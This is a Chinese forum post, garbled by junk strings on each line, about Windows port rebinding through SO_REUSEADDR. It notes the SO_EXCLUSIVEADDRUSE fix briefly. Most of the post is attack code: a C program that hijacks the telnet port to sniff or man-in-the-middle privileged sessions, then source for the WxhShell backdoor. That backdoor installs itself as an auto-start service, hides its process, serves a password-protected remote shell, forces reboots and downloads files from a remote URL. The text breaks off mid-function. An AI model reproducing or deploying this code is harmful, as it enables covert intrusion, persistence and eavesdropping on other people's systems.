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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TSP%5v;Dh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !Rl|o^Vw>{  
D:/ n2_  
  saddr.sin_family = AF_INET; hHE~/U  
h.>SVQzU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E:pk'G0bZ  
~Xxmj!nOf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #%p44%W  
c,2& -T}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Lkm-<  
\QK@wgu  
  这意味着什么?意味着可以进行如下的攻击: S"Cz. bv  
Kt_oo[ey{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7a'yO+7-)  
C.92FiC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [#Y L_*p  
H>EM3cFU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TBBnsj6e  
SU~a()"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SO0\d0?u  
$~G,T g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (E0   
.r<a Py$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :jl*Y-mM  
C:J;'[,S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fkzSX8a9}  
2H|:/y  
  #include /e'3\,2_  
  #include LW]fme<V?  
  #include =*,SD  
  #include    K?^;|m-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'K,\  
  int main() t_3j_`  
  { Q*smH-Sw  
  WORD wVersionRequested; m;OvOc,  
  DWORD ret; j~ qm$'H  
  WSADATA wsaData; X,|8Wpi=  
  BOOL val; FXof9fa_B  
  SOCKADDR_IN saddr; YJ _eE  
  SOCKADDR_IN scaddr; F<* /J]  
  int err; 1VX3pkUET  
  SOCKET s; ~wb1sn3  
  SOCKET sc; v03cQw\"WE  
  int caddsize; 6$k#B ~~  
  HANDLE mt; X1| +9  
  DWORD tid;   7=6:ZSI  
  wVersionRequested = MAKEWORD( 2, 2 ); At(88(y-W  
  err = WSAStartup( wVersionRequested, &wsaData ); )5Khl"6!z  
  if ( err != 0 ) { K&L!O3#(  
  printf("error!WSAStartup failed!\n"); _ >OP  
  return -1; ANhtz1Fl  
  } K|P0nJT  
  saddr.sin_family = AF_INET; !/is+ xp  
   OM\J4"YV$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b{A[\ "  
~R!1{8HP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); buGBqx[  
  saddr.sin_port = htons(23); u;`]U$Qq9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OpUfK4U)  
  { bWswF<y-  
  printf("error!socket failed!\n"); )/;KxaKt  
  return -1; p/h\QG1   
  } Y [`+7w  
  val = TRUE; ?*fa5=ql  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ww]$zd-bo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;'"'|} xn  
  { vhrf89-q  
  printf("error!setsockopt failed!\n"); <>] DcA  
  return -1; uk):z$ x  
  } H bKE;N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +MoUh'/u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hhTtxC<:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E=sh^Q(A  
TjW!-s?S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OdzeHpH3g  
  { /%T/@y  
  ret=GetLastError(); !m@cTB7i   
  printf("error!bind failed!\n"); fzSkl`K}  
  return -1; /7AHd ;  
  } MpCPY"WLL  
  listen(s,2); nQF& ^1n  
  while(1) Qd} n4KF\  
  { @Kpm&vd(  
  caddsize = sizeof(scaddr); ; vH2r~  
  //接受连接请求 0]DOiA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #dauXUKH  
  if(sc!=INVALID_SOCKET) kuEXNi1l  
  { `a83RX_\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n2U &}O  
  if(mt==NULL) %F*9D3^h  
  { dAI^P/y%  
  printf("Thread Creat Failed!\n"); e+[*4)Qfy  
  break; Xoe|]@U`  
  } BhJ>G%  
  } VE |:k:};  
  CloseHandle(mt); ^h[6{F~J  
  } 1W USp;JMl  
  closesocket(s); ZbFD|~[ V  
  WSACleanup(); 'oa.-g5  
  return 0; o=m5AUe?J  
  }   7)rQf{q7  
  DWORD WINAPI ClientThread(LPVOID lpParam) W5R/Ub@g  
  { m}]{Y'i]R  
  SOCKET ss = (SOCKET)lpParam; I,?NYIG"(  
  SOCKET sc; QK-aH1r  
  unsigned char buf[4096]; W5|{A])N  
  SOCKADDR_IN saddr; %BI8m|6  
  long num; P3oYk_oW  
  DWORD val; &[ })FI  
  DWORD ret; -)V0D,r$[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BZeEZ2"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pzF_g- B  
  saddr.sin_family = AF_INET; T\6Qr$t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X`8<;l  
  saddr.sin_port = htons(23); A(y6]E!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1-kuK<KR  
  { V3,C5KKk&z  
  printf("error!socket failed!\n"); 9jal D X  
  return -1; `G\ qGllX  
  } N*IroT3  
  val = 100;  ti5fsc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 49qa  
  { e@'x7Zzh  
  ret = GetLastError(); 8F sQLeOE  
  return -1; t[|oSF#i  
  } NLsF6BX/-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wT@Z|.)  
  { M\1CDU+*Ns  
  ret = GetLastError(); g\aO::  
  return -1; +ai3   
  } N.|F8b]v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T8 FW(Gw#  
  { mR0`wrt  
  printf("error!socket connect failed!\n"); (j8*F Bq  
  closesocket(sc); @-q,%)?0}=  
  closesocket(ss); )]>t(  
  return -1; ,N$Q']Td  
  } NEBhVh  
  while(1) Qf:e;1F!  
  {  ][ $UN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S>lP?2J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *l7 `C)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P]+B}))  
  num = recv(ss,buf,4096,0); X@~/.H5  
  if(num>0) pSx5ume95"  
  send(sc,buf,num,0); lxn/97rA  
  else if(num==0) 1hbQ30  
  break;  exWQ~&  
  num = recv(sc,buf,4096,0); 1j2U,_-  
  if(num>0) S'x ]c#  
  send(ss,buf,num,0); rJ /HIda  
  else if(num==0) o$ @/@r  
  break; `I7s|9-=  
  } a~KtH;7<  
  closesocket(ss); ]}`t~#Irz  
  closesocket(sc); -jjB2xP  
  return 0 ; 8:Hh;nl  
  } 5OdsT-y  
i4YskhT  
h7]+#U]mi  
========================================================== 49"C'n0wST  
~}OaX+!  
下边附上一个代码,,WXhSHELL W6?=9].gc  
bdrE2m  
========================================================== FBE|pG7  
+Xg:*b9So  
#include "stdafx.h" 7FwtBO  
".jO2GO^  
#include <stdio.h> `0upm%A  
#include <string.h> \3vQXt\dM$  
#include <windows.h> A!Tl  
#include <winsock2.h> RFw0u 0Nrz  
#include <winsvc.h> 'D W|a  
#include <urlmon.h> g}~s"Sz  
bK "I9T #  
#pragma comment (lib, "Ws2_32.lib") DY`0 `T  
#pragma comment (lib, "urlmon.lib") 3]S*p ErY  
:$I "n\  
#define MAX_USER   100 // 最大客户端连接数 \O*ZW7?TJ  
#define BUF_SOCK   200 // sock buffer 6jpzyf=~  
#define KEY_BUFF   255 // 输入 buffer +[}y` -t  
@<K<"`~H  
#define REBOOT     0   // 重启 yz [pF  
#define SHUTDOWN   1   // 关机 aG1Fj[,  
q}i#XQU  
#define DEF_PORT   5000 // 监听端口 V@0T&#  
F6vsU:TfB  
#define REG_LEN     16   // 注册表键长度 .H|Z3d!Jj  
#define SVC_LEN     80   // NT服务名长度 :h@V,m Z  
z ,;XWv?  
// 从dll定义API hw"2'{"II  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /5 z+N(RFC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GUL~k@:_k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WD4"ft  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t %u0=V  
/[c_,G" "  
// wxhshell配置信息 /J}G{Y |n  
struct WSCFG { $2FU<w$5  
  int ws_port;         // 监听端口 U*nB= =  
  char ws_passstr[REG_LEN]; // 口令 wQW` Er3w  
  int ws_autoins;       // 安装标记, 1=yes 0=no .i\ FK@2  
  char ws_regname[REG_LEN]; // 注册表键名 j&ti "|2\  
  char ws_svcname[REG_LEN]; // 服务名 )pI( <  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dpz@T>MS=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FqyxvL.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,{IDf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :X":>M;;+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e# Y{YtE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (6c/)MH  
3ZT3I1/D  
}; e=XP4h  
p#c41_?'e  
// default Wxhshell configuration YUSrZ9Yg  
struct WSCFG wscfg={DEF_PORT, <=CABWO.  
    "xuhuanlingzhe", -s HX   
    1, _"*vj-{-y  
    "Wxhshell", ~_BjcY  
    "Wxhshell", ?u CL[  
            "WxhShell Service", fFEB#l!oUb  
    "Wrsky Windows CmdShell Service", [cDkmRV  
    "Please Input Your Password: ", o0AT&<K  
  1, +M.BMS2A<l  
  "http://www.wrsky.com/wxhshell.exe", 86LE )z  
  "Wxhshell.exe" 5XT^K)'  
    }; [<r.M<3  
b4:{PD~Mh  
// 消息定义模块 K1YxF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jNbVp{%/S}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h5P ]`r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vo E t\H  
char *msg_ws_ext="\n\rExit."; ;Q3[} ]su  
char *msg_ws_end="\n\rQuit."; 62;xK-U  
char *msg_ws_boot="\n\rReboot..."; nK< v  
char *msg_ws_poff="\n\rShutdown..."; u ^#UsOt+  
char *msg_ws_down="\n\rSave to "; %i7U+v(d  
UNSXr`9  
char *msg_ws_err="\n\rErr!"; y?cN  
char *msg_ws_ok="\n\rOK!"; 0.m-}  
G9&2s%lu.e  
char ExeFile[MAX_PATH]; I>rTqOK  
int nUser = 0; ,g'>Ib%  
HANDLE handles[MAX_USER]; [qY yr  
int OsIsNt; =XYc2. t  
1z|bQ,5  
SERVICE_STATUS       serviceStatus; xA^E+f:W_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lpPPI+|4N  
r4cz?e |  
// 函数声明 o]V.6Ge-  
int Install(void); XD8Cf!  
int Uninstall(void); Qu<6X@+5  
int DownloadFile(char *sURL, SOCKET wsh); z 3[J sE%  
int Boot(int flag); 1tO96t^d%  
void HideProc(void); v? 8i;[  
int GetOsVer(void); P cbhylKd  
int Wxhshell(SOCKET wsl); /\Cf*cJ  
void TalkWithClient(void *cs); jD<xpD  
int CmdShell(SOCKET sock); 6 o   
int StartFromService(void); 5{W Aw !  
int StartWxhshell(LPSTR lpCmdLine); erv94acq  
nN.Gn+Cl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yt=)=n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bi9Q8#lh  
ObZhQ.&  
// 数据结构和表定义 RFsUb:%V7-  
SERVICE_TABLE_ENTRY DispatchTable[] = x?A<X2  
{ L!Tvz(_7f6  
{wscfg.ws_svcname, NTServiceMain}, byP<!p*  
{NULL, NULL} )Vy0V=  
}; k:7Gb7\  
a:GM|X  
// 自我安装 ic}TiTK  
int Install(void) o6w8Y/VPu  
{ a Z)1SX`D  
  char svExeFile[MAX_PATH]; t+d7{&B  
  HKEY key; |d~'X%b%  
  strcpy(svExeFile,ExeFile); M^OYQf  
^6{op3R_  
// 如果是win9x系统,修改注册表设为自启动 U<F|A!Fg  
if(!OsIsNt) { 6.tA$#6HP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '>"blfix8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zqt%x?l  
  RegCloseKey(key); 3H<%\SYp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {d#sZT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iEI#J!~  
  RegCloseKey(key); atd;)o0*0  
  return 0; ,j{tGj_  
    } EF$ASNh"  
  } ;:oXe*d  
} &'zc2  
else { og8hc~:ro  
I*N v|HST  
// 如果是NT以上系统,安装为系统服务 &2.DZ),L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y4@gw.pt  
if (schSCManager!=0) IP{$lC  
{ D=%1?8K  
  SC_HANDLE schService = CreateService ^uG^>Om*  
  ( y5*zyd  
  schSCManager, ]8"U)fzmc.  
  wscfg.ws_svcname, (#6Fg|f4Y  
  wscfg.ws_svcdisp, 9%SC#V'  
  SERVICE_ALL_ACCESS, 569p/?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }&L%c>  
  SERVICE_AUTO_START, 8G$BQ  
  SERVICE_ERROR_NORMAL, PP\ bDEPy  
  svExeFile, -Op^3WWyY  
  NULL, 4 7mT  
  NULL, ZXo;E  
  NULL, / ~".GZ&29  
  NULL, <-' !I&  
  NULL B#IUSHC  
  ); &RbP N^  
  if (schService!=0) yFeFI@Hp 3  
  { 7vRp<  
  CloseServiceHandle(schService); wC%qSy'  
  CloseServiceHandle(schSCManager); nC[aEZ7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iO Z#}"  
  strcat(svExeFile,wscfg.ws_svcname); i?b9zn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b{aB^a:f=L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 04}8x[t  
  RegCloseKey(key); 21Dc.t{  
  return 0; "l-#v| 54  
    } WcT= 5G  
  } m3o -p   
  CloseServiceHandle(schSCManager); ;!VxmZ:j[  
} nhMxw @Z\  
} xDl; tFI  
&uc`w{,Zs  
return 1; dG0zA D  
} !&b| [b  
p/nATvh$  
// 自我卸载 |cnps$fk~  
int Uninstall(void) EqtL&UHe  
{ R{Zd ]HT  
  HKEY key; iFI+W<QR  
f@Jrbg  
if(!OsIsNt) { ?M|1'`!c8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mj9sX^$ dE  
  RegDeleteValue(key,wscfg.ws_regname); - G/qfd|s/  
  RegCloseKey(key); AWMJ/ E*T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sCt)Yp+8}B  
  RegDeleteValue(key,wscfg.ws_regname); <FU?^*~  
  RegCloseKey(key); :2M&C+f[  
  return 0; 'Nt)7U>oC9  
  } *U%3 [6hm  
} YU8]W%  
} ;/Z-|+!IJt  
else { 0,m]W)  
"@hd\w{.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #\=7A  
if (schSCManager!=0) _A!Fp0}`  
{ "9c=kqkX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _4)z:?G5  
  if (schService!=0) &wY$G! P  
  { RjvW*'2G  
  if(DeleteService(schService)!=0) { =9 )k:S(  
  CloseServiceHandle(schService); ZQfPDH=  
  CloseServiceHandle(schSCManager); y9d"sqyh  
  return 0; 3+uL@LXd  
  } *-Yw%uR  
  CloseServiceHandle(schService); T_D] rMl  
  } .1;UEb|T  
  CloseServiceHandle(schSCManager); ;>5`Y8s6  
} MIr+4L  
} M.s'~S7y  
1d FuoX  
return 1; 8 I_  
} "|1iz2L  
7M7Ir\d0lp  
// 从指定url下载文件 IKP GqoM  
int DownloadFile(char *sURL, SOCKET wsh) sfr+W-7kx  
{ z#o''  
  HRESULT hr; _9 '_w&  
char seps[]= "/"; v ;}s`P\"  
char *token; EZ|v,1`e  
char *file; 4LB8p7$|a3  
char myURL[MAX_PATH]; E}S%yD[  
char myFILE[MAX_PATH]; n6WKk+  
8aWEl%  
strcpy(myURL,sURL); h ':ZF  
  token=strtok(myURL,seps); lTq"j?#E]m  
  while(token!=NULL) !YjxCx  
  { 7CuZ7!>$  
    file=token; ZGR5"el!  
  token=strtok(NULL,seps); f4Y)GO<R]  
  } HW~-GcU-o  
qT(6TP  
GetCurrentDirectory(MAX_PATH,myFILE); xIa7F$R 0  
strcat(myFILE, "\\"); D 6 y,Q  
strcat(myFILE, file); jci,]*X4  
  send(wsh,myFILE,strlen(myFILE),0); hF0,{v  
send(wsh,"...",3,0); YVDFcN9v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >god++,o  
  if(hr==S_OK) _7;:*'>a4  
return 0; \298SH(!7  
else ; iia?f1  
return 1; y{hy7w'd  
=gQ9>An  
} &LAXNk2  
=8?Kn@nMN  
// 系统电源模块 |SjRss:i+  
int Boot(int flag) ;mk[!  
{ }H\I[5*  
  HANDLE hToken; 1\&j)3mC  
  TOKEN_PRIVILEGES tkp; xxu  
jO&*E 'pk  
  if(OsIsNt) { 9ET1Er{4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0(eaVi-%D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vsj4? 0=  
    tkp.PrivilegeCount = 1; gd*Gn"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b@;Wh-{d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [TFJb+N&  
if(flag==REBOOT) { X^ Is-[OvE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V9v20iX  
  return 0; XhM!pSl\  
} TMj;NSc3  
else { I!S Eb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !>`Fg>uy  
  return 0; DpgTm&}-  
} _&#{cCo:  
  } R03 Te gwA  
  else { DaQl ip  
if(flag==REBOOT) { R);Hd1G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~bhS$*t64  
  return 0; LjBIRV7  
} \]u;NbC]  
else { (*9.GyK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rR#Ditn^  
  return 0; U;MXiE3D  
} ;[Mvk6^'R  
} 9KXL6#h  
:h{uZ,#Gi  
return 1; z~ C8JY:  
} rKrHd  
f 5v&4  
// win9x进程隐藏模块 k9;^|Cm k  
void HideProc(void) Jo\P,-\(  
{ h<Aq|*  
ai/|qYf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _?I{>:!|  
  if ( hKernel != NULL ) 1g{Pe`G,  
  { C}RO'_Pq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3x0t[{l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IFp%T a  
    FreeLibrary(hKernel); {6zNCO  
  } g F*AS(9  
/D&&7;jJ  
return; hF,|()E[  
} 5.9<g>C  
XVN`J]XHk  
// 获取操作系统版本 U-I,Q+[C[^  
int GetOsVer(void) ?Afe }  
{ "0An'7'm  
  OSVERSIONINFO winfo; __g k:a>oQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -r={P _E6  
  GetVersionEx(&winfo); X/,) KTo7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y &C b  
  return 1; >[fu&r1  
  else OM*c7&  
  return 0; gJ \6cZD  
} aTuu",f  
r=H?fTY<3E  
// 客户端句柄模块 ?RsrY4P  
int Wxhshell(SOCKET wsl) J-v1"7[2GC  
{ 4 o*i(W  
  SOCKET wsh; <+QQiFj  
  struct sockaddr_in client; \VNu35* J|  
  DWORD myID; 7FG;fJ;&NZ  
S(zp_  
  while(nUser<MAX_USER) ;Bs~E  
{ C`[<6>&y  
  int nSize=sizeof(client); 8:,($a/KF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,CfslhO{j  
  if(wsh==INVALID_SOCKET) return 1; -]Z7^  
r/j:A#6M]o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bv[#|^/  
if(handles[nUser]==0) 9n& &`r  
  closesocket(wsh); ?b;2 PH"  
else $Nu{c;7"  
  nUser++; F8f}PV]b  
  } .[Sis<A]%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1M]=Nv  
ubcB <=xb  
  return 0; g+ c*VmY  
} ^65I,Z"  
O3} JOv_  
// 关闭 socket EwC]%BZP  
void CloseIt(SOCKET wsh) %QezC+n  
{ 1<YoGm&  
closesocket(wsh); )+G"57p  
nUser--; vMTf^V  
ExitThread(0); Q(bOar5  
} {R}F4k  
DB/~Z  
// 客户端请求句柄 mmTpF]t ?`  
void TalkWithClient(void *cs) 7Sx|n}a-3  
{ z'YWomfZm  
,;$OaJFT  
  SOCKET wsh=(SOCKET)cs; DrK]U}3fh"  
  char pwd[SVC_LEN]; 0!hr9Y]Lx  
  char cmd[KEY_BUFF]; v(1 [n]y  
char chr[1]; *f[ 5rr4  
int i,j; ABWn49c.  
@Zt~b'n  
  while (nUser < MAX_USER) { ;c!> =  
=;Gq:mHi  
if(wscfg.ws_passstr) { u<-)C)z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n{tc{LII/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0#*6:{/^  
  //ZeroMemory(pwd,KEY_BUFF); OQ-) 4Uk}  
      i=0; , >LJpv  
  while(i<SVC_LEN) { +fP.Ewi  
-?Cr&!*B  
  // 设置超时 G:AA>t  
  fd_set FdRead; 5\Q Tm;  
  struct timeval TimeOut; p*;!5;OUR  
  FD_ZERO(&FdRead); 'nCVjO7o  
  FD_SET(wsh,&FdRead); AV5={KK  
  TimeOut.tv_sec=8; >qeDb0  
  TimeOut.tv_usec=0; (RddR{mX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lvW T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ? doI6N0T  
6"&cQ>$xh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d?zSwLsl  
  pwd=chr[0]; 1}(22Q;  
  if(chr[0]==0xd || chr[0]==0xa) { TeHJj`rdAU  
  pwd=0; scg&"s  
  break; V]7/hN-Y}  
  } B7%K}|Qg  
  i++; 4ud(5m;Rle  
    } nu0pzq\6  
G+zhL6]F  
  // 如果是非法用户,关闭 socket )bUnk +_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vV,TT%J8D  
} y]db]pP5  
F Z"n6hWA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l_g$6\&|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q$:1Xkl  
RkYdK$|K  
while(1) { Y%KowgP\  
X +`Dg::  
  ZeroMemory(cmd,KEY_BUFF); Na0^csPm  
+kL7"  
      // 自动支持客户端 telnet标准   aI=p_+.h  
  j=0; 'S`l[L:.8  
  while(j<KEY_BUFF) { uNyU]@R<W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AdDX_\V,*  
  cmd[j]=chr[0]; c!EA>:;(<  
  if(chr[0]==0xa || chr[0]==0xd) { sxNf"C=-.  
  cmd[j]=0; [D"6&  
  break; z|#*c5Y9w  
  } 1j?P$%p  
  j++; Y~"tL(WfJl  
    } gIB3DuUo  
Od!)MQ*,  
  // 下载文件 IWv 9!lW  
  if(strstr(cmd,"http://")) { pN9!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z?byNd8  
  if(DownloadFile(cmd,wsh)) irt9%w4"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <V?2;Gy  
  else _2fW/U54_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ..N6]u  
  } iLy^U*yK  
  else { s= Fp[>qA  
F 9%_@n  
    switch(cmd[0]) { `B %%2p&  
  q/s-".%P  
  // 帮助 K=gg<E<  
  case '?': { XZE(& (s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G5}_NS/  
    break; b}! cEJY  
  } "wcaJ;Os  
  // 安装 +~8Lc'0aA  
  case 'i': { 8zK#./0\  
    if(Install()) 'uu*DgEr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]IuZT  
    else "~4V(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,=)DykP  
    break; zluq2r  
    } \BHZRytQF  
  // 卸载 ,r B(WKU  
  case 'r': {  /YJo"\7  
    if(Uninstall()) 01.q9AGy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GfONm6A  
    else L3eF BF/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,DFN:uf=l  
    break; ?_eLrz4>L^  
    } FB6Lz5:Vf  
  // 显示 wxhshell 所在路径 <*5S7)]BP  
  case 'p': { w B)y@w4k  
    char svExeFile[MAX_PATH]; ;[y( 14g  
    strcpy(svExeFile,"\n\r"); gj^)T_E_  
      strcat(svExeFile,ExeFile); F_@B ` ,  
        send(wsh,svExeFile,strlen(svExeFile),0); e{x>u(  
    break; b|i4me@  
    } ~XR ('}5D  
  // 重启 |lNp0b  
  case 'b': { 72l:[5ccR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }a"=K%b<\  
    if(Boot(REBOOT)) j4XVk@'OX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ka_m Q<{9  
    else { #9GfMxH  
    closesocket(wsh); ?`RlYu  
    ExitThread(0); vHi%UaD-y  
    } ] (e ,J  
    break; utck{]P  
    } tA1?8`bQ  
  // 关机 bB<S4@jF8z  
  case 'd': { 6,q0F*q  
